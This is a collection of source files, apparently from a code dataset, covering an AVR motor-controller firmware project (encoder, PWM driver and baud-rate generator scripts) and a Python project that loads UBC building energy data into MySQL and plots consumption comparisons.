Variables ;\n\ntypedef struct ChannelData{\n\tParameters parameter;\n\tVariables variable;\n} DriverChannel;\n\n" }, { "alpha_fraction": 0.5720930099487305, "alphanum_fraction": 0.6093023419380188, "avg_line_length": 13.333333015441895, "blob_id": "36207c45ca6a98f4194cf748f6c7835f8b9870ab", "content_id": "676136bf3fad674a548dcc7aac76cc46a47087b4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 215, "license_type": "permissive", "max_line_length": 27, "num_lines": 15, "path": "/src/errors.h", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * errors.h\n *\n * Created on: Jun 9, 2014\n * Author: casey.kuhns\n */\n\n#ifndef ERRORS_H_\n#define ERRORS_H_\n\n#define HELP\t\t\t\t-1\n#define INVALID_COMMAND \t-2\n#define INVALID_CONTEXT\t\t-3\n\n#endif /* ERRORS_H_ */\n" }, { "alpha_fraction": 0.5190268158912659, "alphanum_fraction": 0.5396132469177246, "avg_line_length": 28.685184478759766, "blob_id": "4db51fa0fda7b1a5ac8825dfcc4ecda01dbef647", "content_id": "7df6b66f8cc2cb0fce7ba941356147635e6e4ab9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1603, "license_type": "permissive", "max_line_length": 64, "num_lines": 54, "path": "/helperFiles/commandContextsGenerator.py", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "#Command Context generator\n\nimport sys\n\nFILLER_CHAR = \"x\"\n\nCOMMAND_SET = [\"G\",\"S\",\"R\"] #Maximum of 8 values\n\nSIZE_OF_COMMAND_SET = 1\nfor x in range (0, len(COMMAND_SET)):\n SIZE_OF_COMMAND_SET = SIZE_OF_COMMAND_SET * 2\n for x in range (0, SIZE_OF_COMMAND_SET):\n sys.stdout.write(\"#define \")\n for y in xrange(0,len(COMMAND_SET)):\n if((x & (1 << y)) >= 1):\n sys.stdout.write(COMMAND_SET[y])\n else:\n sys.stdout.write(FILLER_CHAR)\n sys.stdout.write(' ')\n print \"0x{:02x}\".format(x)\n\nprint\"\\r\\n\"\n\nCOMMAND_SET = [\"G\",\"S\",\"R\",\"C\",\"M\",\"S\",\"C\"] #Maximum of 8 values\n\nSIZE_OF_COMMAND_SET = 1\nfor x in range (0, len(COMMAND_SET)):\n SIZE_OF_COMMAND_SET = SIZE_OF_COMMAND_SET * 2\n for x in range (0, SIZE_OF_COMMAND_SET):\n sys.stdout.write(\"#define \")\n for y in xrange(0,len(COMMAND_SET)):\n if((x & (1 << y)) >= 1):\n sys.stdout.write(COMMAND_SET[y])\n else:\n sys.stdout.write(FILLER_CHAR)\n sys.stdout.write(' ')\n print \"0x{:02x}\".format(x)\n\nprint\"\\r\\n\"\n\nCOMMAND_SET = [\"E\",\"L\",\"P\"] #Maximum of 8 values\n\nSIZE_OF_COMMAND_SET = 1\nfor x in range (0, len(COMMAND_SET)):\n SIZE_OF_COMMAND_SET = SIZE_OF_COMMAND_SET * 2\n for x in range (0, SIZE_OF_COMMAND_SET):\n sys.stdout.write(\"#define \")\n for y in xrange(0,len(COMMAND_SET)):\n if((x & (1 << y)) >= 1):\n sys.stdout.write(COMMAND_SET[y])\n else:\n sys.stdout.write(FILLER_CHAR)\n sys.stdout.write(' ')\n print \"0x{:02x}\".format(x)\n" }, { "alpha_fraction": 0.6384615302085876, "alphanum_fraction": 0.6820513010025024, "avg_line_length": 14, "blob_id": "38de5d18d6c9150a68301d224c855e58532cc92e", "content_id": "96c16181ffe9ca57b6dd5533726828ee5de35ec6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 390, "license_type": "permissive", "max_line_length": 35, "num_lines": 26, "path": "/src/encoder.h", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * encoder.h\n *\n * Created on: Mar 21, 2014\n * Author: caseykuhns\n */\n\n#ifndef ENCODER_H_\n#define ENCODER_H_\n\n#include <avr/interrupt.h>\n#include <avr/io.h>\n#include <util/delay.h>\n\n#define ENCODER1 0\n#define ENCODER2 1\n\n#define\tLOW_LEVEL 0\n#define\tANY_EDGE 1\n#define\tFALLING 2\n#define\tRISING 3\n\nvoid encoderInit(void);\nint32_t encoderGet(int8_t channel);\n\n#endif /* ENCODER_H_ */\n" }, { "alpha_fraction": 0.5308369994163513, "alphanum_fraction": 0.6057268977165222, "avg_line_length": 18.18309783935547, "blob_id": "8c3b1ed1e60c00e70a054343cfc247cb4b847120", "content_id": "2f7e71d9873c03068823c835e1aa4907d9f6c0fe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1362, "license_type": "permissive", "max_line_length": 70, "num_lines": 71, "path": "/src/encoder.c", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * encoder.c\n *\n * Created on: Mar 21, 2014\n * Author: caseykuhns\n */\n\n#include \"encoder.h\"\n#include <avr/io.h>\n\nint32_t encoder_1;\nint32_t encoder_2;\n/*\nint32_t encoderGet(int8_t channel){\n\tswitch(channel){\n\tcase ENCODER1:{\n\t\treturn encoder_1;\n\t}\n\tcase ENCODER2:{\n\t\treturn encoder_2;\n\t}\n\tdefault: return 0;\n\t}\n}\n\nvoid encoderInit(){\n\tEIMSK = (1 << INT2)|(1 << INT3)|(1 << INT4)|(1 << INT5);\n\tEICRA = (ANY_EDGE << ISC20)|(ANY_EDGE << ISC30);\n\tEICRB = (ANY_EDGE << ISC40)|(ANY_EDGE << ISC50);\n}\n\nvoid encoderUpdate(int8_t encoder){\n\tstatic int8_t lookup_table[] = {0,-1,1,0,1,0,0,-1,-1,0,0,1,0,1,-1,0};\n static uint8_t enc_val_1 = 0;\n static uint8_t enc_val_2 = 0;\n\n\tswitch(encoder){\n\tcase ENCODER1 : {\n\t\t//Update encoder 1\n\t\tenc_val_1 = enc_val_1 << 2;\n\t\tenc_val_1 = enc_val_1 | ((PIND & ((1 << PIND2)|(1 << PIND3))) >> 2);\n\t\tencoder_1 = encoder_1 + lookup_table[enc_val_1 & 0x0F];\n\t\tbreak;\n\t}\n\tcase ENCODER2 : {\n\t\t//Update encoder 2\n\t\tenc_val_2 = enc_val_2 << 2;\n\t\tenc_val_2 = enc_val_2 | ((PINE & ((1 << PINE5)|(1 << PINE4))) >> 4);\n\t\tencoder_2 = encoder_2 + lookup_table[enc_val_2 & 0x0F];\n\t\tbreak;\n\t}\n\tdefault: break;\n\t}\n}\n\n//Relevant Interrupt Service Routines\nISR(INT2_vect){\n\tencoderUpdate(ENCODER1);\n}\nISR(INT3_vect){\n\tencoderUpdate(ENCODER1);\n}\nISR(INT4_vect){\n\tencoderUpdate(ENCODER2);\n}\nISR(INT5_vect){\n\tencoderUpdate(ENCODER2);\n}\n\n\n*/\n" }, { "alpha_fraction": 0.5266323089599609, "alphanum_fraction": 0.6554982662200928, "avg_line_length": 18.081966400146484, "blob_id": "c85de04fb65796f6e8b69cfda17b8b9bd75cd25d", "content_id": "c6c95045baa70bbc4b4b8666756fc82786370bd0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1164, "license_type": "permissive", "max_line_length": 79, "num_lines": 61, "path": "/helperFiles/BaudGenerator.py", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "#Baud rate generator\n\n#Using the atmega328 data sheet this code was generated to calculate the\n#baudrate settings to be pushed into the UBBRn register location.\n\n#Simply add additional baud rates to baudList and CPU frequencies to fCPU_list.\n# Try to keep the list in order to maintain readability.\n\nbaudList = [\n\t300,\n\t1200,\n\t2400,\n\t4800,\n\t9600,\n\t14400,\n\t19200,\n\t28800,\n\t38400,\n\t57600,\n\t76800,\n\t115200,\n\t230400,\n\t250000,\n\t500000,\n\t1000000]\n\n#define 1mhz for scale\nCPU_SCALE = 1000000\n\nfCPU_List = [\n\t1.0,\n\t1.8432,\n\t2.0,\n\t3.6864,\n\t4.0,\n\t7.3728,\n\t8.0,\n\t11.0592,\n\t14.7456,\n\t16.0,\n\t18.4320,\n\t20.0]\n\n\nprint \"#if F_CPU == %d\" % (fCPU_List[0] * CPU_SCALE) \n#CPU_FREQUENCY\nfor x in xrange (0,len(fCPU_List)):\n#BAUDRATE\n#Skip the first instance\n if x > 0:\n \tprint \"#elif F_CPU == %d\" % (fCPU_List[x] * CPU_SCALE)\n for y in xrange (0,len(baudList)):\n\tf_osc = fCPU_List[x] * CPU_SCALE\n\tbaudVar = baudList[y] * 16\n\tUBBR = round((f_osc / baudVar), 0) - 1\n\t#Test to see if it is possible to generate baud\n\tif f_osc >= baudVar:\n\t\tif UBBR < 4095: #Can the UBBR register fit the value\n \t\tprint' #define BAUD_%d %d' % (baudList[y], UBBR)\n print\" \"\nprint\"#endif\"\n" }, { "alpha_fraction": 0.6295731663703918, "alphanum_fraction": 0.667682945728302, "avg_line_length": 13.577777862548828, "blob_id": "9bf9f580bb3297ba732bc3084fa35911f3597830", "content_id": "62e22fdbfe65cfa3ce1183abb249301b8da52596", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 656, "license_type": "permissive", "max_line_length": 47, "num_lines": 45, "path": "/src/main.c", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * main.c\n *\n * Created on: Mar 21, 2014\n * Author: caseykuhns\n */\n#include <avr/io.h>\n#include \"encoder.h\"\n#include \"serial.h\"\n#include \"baud.h\"\n#include \"driver.h\"\n#include <util/delay.h>\n#include \"serial.h\"\n#include \"commandParser.h\"\n#include <stdlib.h>\n#include \"parameters.h\"\n\n//#define BAUD_115200 8\n\nchar commandBuffer[COMMAND_BUFFER_SIZE];\n\n\n//DriverChannel ch0;\n\nvoid setup(){\n\tserialInit(BAUD_115200);\n\tcommandInit();\n//\tencoderInit();\n//\tdriverInit(PWM_10BIT);\n\tsei();\n}\n\nint main(void) {\n\n\tsetup();\n\t//DDRB = 0xff;\nwhile(1){\n\n\n\t\twhile(commandCheckASCII(commandBuffer) == 0);\n\t\tASCIIComandParse(commandBuffer);\n\t\trestartBuffer();\n\n\t}\n}\n" }, { "alpha_fraction": 0.46354565024375916, "alphanum_fraction": 0.5287797451019287, "avg_line_length": 17.08333396911621, "blob_id": "8ca233c9de2afefca3cd5250fad0197357f955a8", "content_id": "f1b649de7155cc5de23f743e55ac9603f9792e0f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1303, "license_type": "permissive", "max_line_length": 61, "num_lines": 72, "path": "/src/driver.c", "repo_name": "caseykuhns/MotoMaster", "src_encoding": "UTF-8", "text": "/*\n * driver.c\n *\n * Created on: Apr 1, 2014\n * Author: caseykuhns\n */\n\n#include <avr/io.h>\n#include \"driver.h\"\n/*\nvoid driverInit(int8_t mode){\n\n\tTCCR3A = (NON_INVERT << COM3A0)|(mode << WGM30);\n\tTCCR3B = (DIV_1 << CS30)|(PWM_FAST << WGM32);\n\n\tTCCR4A = (NON_INVERT << COM4A0)|(mode << WGM40);\n\tTCCR4B = (DIV_1 << CS40)|(PWM_FAST << WGM42);\n\n\tDDRH |= (1 << PINH3)|(1 << PINH4)|(1 << PINH5)|(1 << PINH6);\n\tDDRG |= (1 << PING5);\n\tDDRE |= (1 << PINE3);\n}\n\nvoid driverSetPower(int8_t channel, int16_t value){\n\tswitch(channel){\n\tcase CHANNEL1:{\n\t\tif(value < 0){\n\t\t\t//reverse direction\n\t\t\tPORTH &= ~(1 << PINH5);\n\t\t\tPORTH |= (1 << PINH4);\n\t\t\tvalue = 0xFFFF - value;\n\t\t}\n\t\telse if(value > 0){\n\t\t\t//forward direction\n\t\t\tPORTH &= ~(1 << PINH4);\n\t\t\tPORTH |= (1 << PINH5);\n\t\t}\n\t\telse {\n\t\t\tPORTH &= ~((1 << PINH5)|(1 << PINH4));\n\t\t\t//Brake\n\t\t};\n\n\t\tOCR3A = value & 0x03FF; //Block top 2 bits\n\t\tbreak;\n\t}\n\tcase CHANNEL2:{\n\n\t\tif(value < 0){\n\t\t\tPORTH &= ~(1 << PINH6);\n\t\t\tPORTG |= (1 << PING5);\n\t\t\tvalue = 0xFFFF - value;\n\t\t\t//reverse direction\n\t\t}\n\t\telse if(value > 0){\n\t\t\tPORTH |= (1 << PINH6);\n\t\t\tPORTG &= ~(1 << PING5);\n\t\t\t//forward direction\n\t\t}\n\t\telse{\n\t\t\tPORTH &= ~(1 << PINH6);\n\t\t\tPORTG &= ~(1 << PING5);\n\t\t\t//Brake\n\t\t}\n\n\t\tOCR4A = value & 0x03FF; //Block top 2 bits\n\t\tbreak;\n\t}\n\tdefault: break;\n\t}\n}\n\n*/\n\n" } ]
21
ubc-capstone-real-time-energy-display/analytics
https://github.com/ubc-capstone-real-time-energy-display/analytics
874dcceb37bdd6b9804be7fca11396f7217a3f8a
5068de256805da533907ec05377cebaddcd30f4e
8be87da4b33c8ab83099b9689c54395bc0d8b079
refs/heads/master
2021-01-10T02:03:49.166550
2015-11-26T22:27:53
2015-11-26T22:27:53
46,546,251
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6897163391113281, "alphanum_fraction": 0.7021276354789734, "avg_line_length": 30.33333396911621, "blob_id": "b83b2a78090d00544b9844ae55d2647bbee743b4", "content_id": "784bcec11839e16f3f1287c756ec7b4c20de804c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1128, "license_type": "no_license", "max_line_length": 96, "num_lines": 36, "path": "/analytics/metrics/lastyear.py", "repo_name": "ubc-capstone-real-time-energy-display/analytics", "src_encoding": "UTF-8", "text": "import sys\nimport util.building\nimport datetime\nimport numpy\nfrom dateutil.parser import parse\n\n\"\"\"\nKnown issue: A daylight savings day won't work\n\n@return x, y_calcuated, y\n\"\"\"\ndef run(bid, date):\n # Setup time frames\n thisyearstart = parse(date)\n thisyearstop = thisyearstart + datetime.timedelta(days=1)\n lastyearstart = thisyearstart - datetime.timedelta(days=364)\n lastyearstop = lastyearstart + datetime.timedelta(days=1)\n\n # Fetch the data\n lastyeardata = util.building.getdata(bid, lastyearstart, lastyearstop)\n thisyeardata = util.building.getdata(bid, thisyearstart, thisyearstop)\n\n x = [data[0] for data in thisyeardata]\n\n # Extract y axis\n y_thisyear = [data[1] for data in thisyeardata]\n y_lastyear = [data[1] for data in lastyeardata]\n\n # Convert to cumulative sum\n y_cumsum_thisyear = numpy.cumsum(y_thisyear)\n y_cumsum_lastyear = numpy.cumsum(y_lastyear)\n\n y_visual = [((d[0] - d[1]) / d[1]) * 100 for d in zip(y_cumsum_thisyear, y_cumsum_lastyear)]\n\n #return (x, y_thisyear, y_lastyear, y_visual)\n return (x, y_cumsum_thisyear, y_cumsum_lastyear, y_visual)\n" }, { "alpha_fraction": 0.6096718311309814, "alphanum_fraction": 0.6113989353179932, "avg_line_length": 21.25, "blob_id": "69e9fc346c47d6f597220b8db1afb13a15e49fb2", "content_id": "84e0d350cff5f169009631da0ae528679b709d0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1158, "license_type": "no_license", "max_line_length": 61, "num_lines": 52, "path": "/init.py", "repo_name": "ubc-capstone-real-time-energy-display/analytics", "src_encoding": "UTF-8", "text": "import os\nimport sys\nimport analytics.util.populate as populate\nimport analytics.util.database as database\n\n##\n# Run this file to seed the database with all the data files \n# USAGE: python init.py\n##\n\ndata_root = \"analytics/data\"\nstructure_file = \"analytics/database/structure_only.sql\"\n\n# Create the database\ndef createdatabase():\n db = database.connect()\n c = db.cursor()\n\n f = open(structure_file, \"r\")\n sqlfile = f.read()\n f.close()\n\n sqlcommands = sqlfile.split(\";\")\n\n print \"Creating database\"\n for command in sqlcommands:\n try:\n c.execute(command)\n db.commit()\n except Exception, msg:\n print \"Command skipped: \", msg\n\n db.close()\n print \"Created database\"\n\n\n# Seed\ndef seed():\n print \"Seeding database\"\n for root, subdir, files in os.walk(data_root):\n buildingname = root.split(\"/\")[-1]\n\n for f in files:\n # We only care about csv files\n if f.split(\".\")[-1] == \"csv\":\n data_file = os.path.join(root, f)\n populate.populate(buildingname, data_file)\n\n print \"Seeded database\"\n\ncreatedatabase()\nseed()\n\n" }, { "alpha_fraction": 0.702010989189148, "alphanum_fraction": 0.7138939499855042, "avg_line_length": 29.38888931274414, "blob_id": "b911284b8cec637b8aa5d1f075ac5ab1889951b6", "content_id": "b3bd6d0625002ec51a36e451ae0c6ae954218bfa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1094, "license_type": "no_license", "max_line_length": 102, "num_lines": 36, "path": "/analytics/metrics/lastyearavg.py", "repo_name": "ubc-capstone-real-time-energy-display/analytics", "src_encoding": "UTF-8", "text": "import util.building\nimport datetime\nfrom numpy import cumsum\nfrom dateutil.parser import parse\nfrom util.historicaldata import getaverage\n\n\n\"\"\"\nThis metric works by averaging all historical data on this day and comparing that to the target day\n\nKnown issue: A daylight savings day won't work\n\n@return x, y_calcuated, y\n\"\"\"\ndef run(bid, date):\n # Setup time frames\n thisyearstart = parse(date)\n thisyearstop = thisyearstart + datetime.timedelta(days=1)\n\n # Fetch the data\n thisyeardata = util.building.getdata(bid, thisyearstart, thisyearstop)\n\n x = [data[0] for data in thisyeardata]\n\n # Extract y axis\n y_thisyear = [data[1] for data in thisyeardata]\n y_historicaldata = getaverage(bid, thisyearstart, 5, 364)\n\n # Convert to cumulative sum\n y_cumsum_thisyear = cumsum(y_thisyear)\n y_cumsum_historicaldata = cumsum(y_historicaldata)\n\n y_visual = [((d[0] - d[1]) / d[1]) * 100 for d in zip(y_cumsum_thisyear, y_cumsum_historicaldata)]\n\n #return (x, y_thisyear, y_lastyear, y_visual)\n return (x, y_cumsum_thisyear, y_cumsum_historicaldata, y_visual)\n" }, { "alpha_fraction": 0.4798711836338043, "alphanum_fraction": 0.5185185074806213, "avg_line_length": 20.413793563842773, "blob_id": "5fbedfab345c37acfa9c6a3c068fb4e11a6a7e9b", "content_id": "703aa2a70705436597fdc877f6de43b8cf86cbdc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 621, "license_type": "no_license", "max_line_length": 58, "num_lines": 29, "path": "/analytics/util/datefix.py", "repo_name": "ubc-capstone-real-time-energy-display/analytics", "src_encoding": "UTF-8", "text": "import sys\n\n\n\"\"\"\nSwap day and month\n\nfrom: 02/01/2014 6:15 PM\nto: 01/02/2014 6:15 PM\n\"\"\"\ndef swap(date):\n day, month, rest = date.split('/')\n\n return '%s/%s/%s' % (month, day, rest)\n\nif __name__ == '__main__':\n if len(sys.argv) < 1:\n print 'Incorrect usage: python datefix [filename]'\n else:\n filename = sys.argv[1]\n\n filedata = []\n with open(filename, 'r') as f:\n filedata.append(f.readline())\n for line in f:\n filedata.append(swap(line))\n\n with open(filename, 'w') as f:\n for line in filedata:\n f.write(line)\n" }, { "alpha_fraction": 0.5868200659751892, "alphanum_fraction": 0.6040794849395752, "avg_line_length": 32.543861389160156, "blob_id": "8f5dc0dde5d2e04a019ea1f4d80f34073b5ea47a", "content_id": "fa60aea01c7903b4ead0a92682166a0c7573c74b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1912, "license_type": "no_license", "max_line_length": 95, "num_lines": 57, "path": "/analytics/diff.py", "repo_name": "ubc-capstone-real-time-energy-display/analytics", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nimport sys\nimport util.building\nimport datetime\nfrom dateutil.parser import parse\nimport numpy\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n print 'Incorrect usage: python diff.py [buildingname] [date (YYYY-MM-DD)]'\n else:\n # Get arguments\n buildingname = sys.argv[1]\n date = sys.argv[2]\n\n # Building information\n bid = util.building.getbid(buildingname)\n\n # Setup time frames\n thisyearstart = parse(date)\n thisyearstop = thisyearstart + datetime.timedelta(days=1)\n lastyearstart = thisyearstart - datetime.timedelta(days=364)\n lastyearstop = lastyearstart + datetime.timedelta(days=1)\n\n # Fetch the data\n lastyeardata = util.building.getdata(bid, lastyearstart, lastyearstop)\n thisyeardata = util.building.getdata(bid, thisyearstart, thisyearstop)\n\n # Only use the time for x axis\n xaxis = [data[0] for data in thisyeardata]\n\n # Data\n y_thisyear = [data[1] for data in thisyeardata]\n y_lastyear = [data[1] for data in lastyeardata]\n\n f, axarr = plt.subplots(2, sharex=True)\n\n # Subplot A: Separate data\n axarr[0].set_title(\"%s: %s\" % (buildingname, thisyearstart.strftime(\"%b %d, %Y (%a)\")))\n axarr[0].plot(xaxis, y_thisyear, 'r')\n axarr[0].plot(xaxis, y_lastyear, 'g')\n axarr[0].set_ylabel(\"kWh demand\")\n\n # Subplot B: Diff\n y_cumsum_thisyear = numpy.cumsum(y_thisyear)\n y_cumsum_lastyear = numpy.cumsum(y_lastyear)\n\n #y = [((d[0] - d[1]) / d[0]) * 100 for d in zip(y_thisyear, y_lastyear)]\n y = [((d[0] - d[1]) / d[0]) * 100 for d in zip(y_cumsum_thisyear, y_cumsum_lastyear)]\n\n axarr[1].plot(xaxis, y, 'r')\n axarr[1].axhline(0, color='black')\n axarr[1].set_ylabel(\"% change\")\n axarr[1].set_xlabel(\"Time\")\n\n plt.show()\n" }, { "alpha_fraction": 0.5743337869644165, "alphanum_fraction": 0.5855540037155151, "avg_line_length": 25.90566062927246, "blob_id": "e4c3197b05ffd89b9e996738cc07ad33e619979b", "content_id": "50ee0e8d916115c750fd4818c2abaed350957021", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2852, "license_type": "no_license", "max_line_length": 113, "num_lines": 106, "path": "/analytics/util/populate.py", "repo_name": "ubc-capstone-real-time-energy-display/analytics", "src_encoding": "UTF-8", "text": "import os\nimport sys\nimport datetime \nimport database\nfrom dateutil.parser import parse\n\n##\n# USAGE: python populate.py [BUILDING NAME] [PATH TO DATA FILE]\n#\n# Data file in the format: \n# DATE (2014-Jan-01 HH:MM:SS.000),DEMAND (XX.XXX),NET (XX.XXX)\n##\n\ndatabase_name = \"capstone\"\n\ndef checkBuildingId(c, building):\n # See if building is already in database\n rows = c.execute(\"SELECT bid FROM buildings WHERE name=%s\", (building,));\n\n if rows > 0:\n return c.fetchone()[0]\n else:\n return -1\n\n\n# Check if building is already in database and get its id\n# Otherwise create a new entry\ndef getBuildingId(c, building):\n bid = checkBuildingId(c, building)\n if bid == -1:\n c.execute(\"INSERT INTO buildings (name) VALUES (%s)\", (building,));\n\n return checkBuildingId(c, building)\n \n\n# Load data from CSV file\ndef getDataFromFile(bid, filename):\n data = []\n\n f = open(filename, 'r')\n # Skip first row (header)\n lines = iter(f)\n next(lines)\n for line in lines:\n # Split CSV\n # DATE (2014-Jan-01 HH:MM:SS.000),DEMAND (XX.XXX),NET (XX.XXX)\n time, demand, net = line.strip().split(\",\")\n\n # Convert time to datetime object\n time = parse(time)\n\n data.append((bid, time, demand, net))\n\n return data\n\n# Populate!\ndef populate(building, data_file):\n # Connect to DB\n db = database.connect(database_name)\n c = db.cursor()\n\n # Main\n bid = getBuildingId(c, building);\n data = getDataFromFile(bid, data_file)\n\n n = 0\n numskippedlines = 0\n skippedlines = []\n # Insert each line into the database\n i = 0\n for line in data:\n i += 1\n try:\n n += c.execute(\"INSERT INTO energy_data (bid, timestamp, demand, net) VALUES (%s, %s, %s, %s)\", line)\n except Exception, msg:\n numskippedlines += 1\n skippedlines.append((i, msg))\n\n db.commit()\n print \"Added %s: %s\" % (building, data_file)\n print \"Added %s rows\" % n\n print \"Skipped %s lines\" % (numskippedlines)\n\n if numskippedlines > 0:\n print skippedlines\n \n\n\nif __name__ == '__main__':\n if len(sys.argv) < 3:\n print \"Incorrect usage: python populate.py [ buildingname ] [ data_file | directory ]\"\n else:\n # Get program arguments: populate.py building datafile\n building = sys.argv[1]\n data_file = sys.argv[2]\n\n # data_file may be a directory. Is so, populate recursively\n if os.path.isdir(data_file):\n for root, subdir, files in os.walk(data_file):\n for f in files:\n # We only care about csv files\n if f.split(\".\")[-1] == \"csv\":\n data_file = os.path.join(root, f)\n populate(building, data_file)\n else:\n populate(building, data_file)\n" }, { "alpha_fraction": 0.7280701994895935, "alphanum_fraction": 0.7343358397483826, "avg_line_length": 18.950000762939453, "blob_id": "03037af44acf28a72e861f136561f21e25a25447", "content_id": "edca6e549b7623477b39f88b4b00cbe45dbe4976", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 798, "license_type": "no_license", "max_line_length": 148, "num_lines": 40, "path": "/README.md", "repo_name": "ubc-capstone-real-time-energy-display/analytics", "src_encoding": "UTF-8", "text": "# About\n\nThis code is for getting a rough idea of how much energy is used at UBC. This project relies on a database populated with building consumption data.\n\n# Setup\n\n## Python\n\nThis project is written in Python 2. \n\nIt depends on:\n\n1. matplotlib\n2. MySQLdb\n\nUse pip to install the dependencies.\n\n## Database\n\n1. Create a new user (see util/database.py for credentials)\n2. Run `python init.py` to create and seed the database\n\n# Usage\n\n## New Data\nUse this command to insert new data (after seeding) into the database\n\n```\npython populate.py [building name] [csv file path]\n```\n\n## Overview\nUse `python overview.py [building name]` to see the all the data available for the building\n\n## Metrics\nTry different metrics using:\n\n```\npython visualize.py [metric] [buildingname] [date (YYYY-MM-DD)]\n```\n" }, { "alpha_fraction": 0.6719883680343628, "alphanum_fraction": 0.6894049644470215, "avg_line_length": 27.70833396911621, "blob_id": "8989132e77fa20f819ba679e336ed8968b26d788", "content_id": "386e8bbcf146a67c3abf3b14a30db93e3a76f45b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 689, "license_type": "no_license", "max_line_length": 80, "num_lines": 24, "path": "/analytics/metrics/lastmonth.py", "repo_name": "ubc-capstone-real-time-energy-display/analytics", "src_encoding": "UTF-8", "text": "from util.historicaldata import gethistoricaldata\nfrom util.building import getdata\nfrom numpy import cumsum\nfrom dateutil.parser import parse\nfrom datetime import timedelta\n\n\"\"\"\nCompare to last month, same day\n\"\"\"\ndef run(bid, date):\n today = parse(date)\n tomorrow = today + timedelta(days=1)\n\n todaydata = getdata(bid, today, tomorrow)\n lastmonthdata = gethistoricaldata(bid, today, 28)\n\n x = [data[0] for data in todaydata]\n\n y_today = cumsum([data[1] for data in todaydata])\n y_lastmonth = cumsum([data[1] for data in lastmonthdata])\n\n y_visual = [((d[0] - d[1]) / d[1]) * 100 for d in zip(y_today, y_lastmonth)]\n\n return (x, y_today, y_lastmonth, y_visual)\n" }, { "alpha_fraction": 0.5245237350463867, "alphanum_fraction": 0.5403323769569397, "avg_line_length": 26.719100952148438, "blob_id": "9fc5888ee658f714a4262a5021f5ae6f10cab7c8", "content_id": "fcdfcaf9d0cbe9ec41f0014119aa61280e4d2ef0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2467, "license_type": "no_license", "max_line_length": 157, "num_lines": 89, "path": "/analytics/overview.py", "repo_name": "ubc-capstone-real-time-energy-display/analytics", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nimport util.database as database\nfrom util.building import getbid\nimport sys\nimport datetime\nfrom dateutil.relativedelta import relativedelta\n\ndef buildPlotData(rows):\n x = []\n y = []\n for row in rows:\n x.append(row[0])\n y.append(row[1])\n\n return (x, y)\n\n\ndef getSumDataBetween(bid, dateA, dateB):\n c.execute(\"SELECT DATE(timestamp) as day, SUM(demand) FROM energy_data WHERE (timestamp BETWEEN %s AND %s) AND bid=%s GROUP BY day\", (dateA, dateB, bid))\n rows = c.fetchall()\n return buildPlotData(rows)\n\n\ndef getAvgDataBetween(bid, dateA, dateB):\n c.execute(\"SELECT DATE(timestamp) as day, AVG(demand) FROM energy_data WHERE (timestamp BETWEEN %s AND %s) AND bid=%s GROUP BY day\", (dateA, dateB, bid))\n rows = c.fetchall()\n return buildPlotData(rows)\n\n\nif __name__ == '__main__':\n db = database.connect(\"capstone\")\n c = db.cursor()\n\n if len(sys.argv) < 2:\n print \"Incorrect usage: python analyze.py [ building name ]\"\n else:\n buildingname = sys.argv[1]\n bid = getbid(buildingname)\n\n\n # Display data for 2012 - 2014\n year = 0\n start = datetime.datetime(2012, 1, 1)\n\n # Results\n x = None\n all_y = []\n\n for i in xrange(3):\n yearstart = start + datetime.timedelta(days=364*year)\n year += 1\n yearstop = start + datetime.timedelta(days=364*year)\n\n # Generate label\n label = str((start + relativedelta(years=(year-1))).year)\n\n # Array of days in the year\n days = []\n for i in xrange(364):\n day = yearstart + datetime.timedelta(i)\n days.append(day)\n\n if x is None:\n x = days\n\n # Match data with year\n data = getAvgDataBetween(bid, yearstart, yearstop)\n y = []\n j = 0\n for i in xrange(len(days)):\n if j < len(data[0]) and days[i].date() == data[0][j]:\n y.append(data[1][j])\n j += 1\n else:\n # No data\n y.append(0)\n\n all_y.append((label, y))\n\n # Plot\n for y_data in all_y:\n label, y = y_data\n plt.plot(x, y, label=label)\n\n plt.ylabel(\"avg kW/15mins\")\n plt.xlabel(\"Date\")\n plt.legend(loc='best')\n plt.show()\n" }, { "alpha_fraction": 0.6205787658691406, "alphanum_fraction": 0.6280814409255981, "avg_line_length": 25.657142639160156, "blob_id": "66721be9527fe8bbbd2fc6bf23731c047a3b8eb3", "content_id": "ea866cf6359c58f07edb2fbac6a7d7a804ec916b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 933, "license_type": "no_license", "max_line_length": 75, "num_lines": 35, "path": "/analytics/util/historicaldata.py", "repo_name": "ubc-capstone-real-time-energy-display/analytics", "src_encoding": "UTF-8", "text": "import util.building\nimport datetime\n\n\ndef 